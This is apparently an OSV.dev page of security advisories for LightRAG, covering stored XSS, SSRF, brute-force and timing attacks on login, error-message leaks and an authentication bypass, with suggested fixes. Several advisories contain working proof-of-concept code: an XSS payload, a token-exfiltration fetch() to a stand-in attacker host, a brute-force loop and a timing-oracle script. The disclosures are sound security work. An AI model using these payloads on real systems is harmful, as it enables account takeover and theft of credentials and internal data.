            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 09, 2025

1.4.8rc8 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
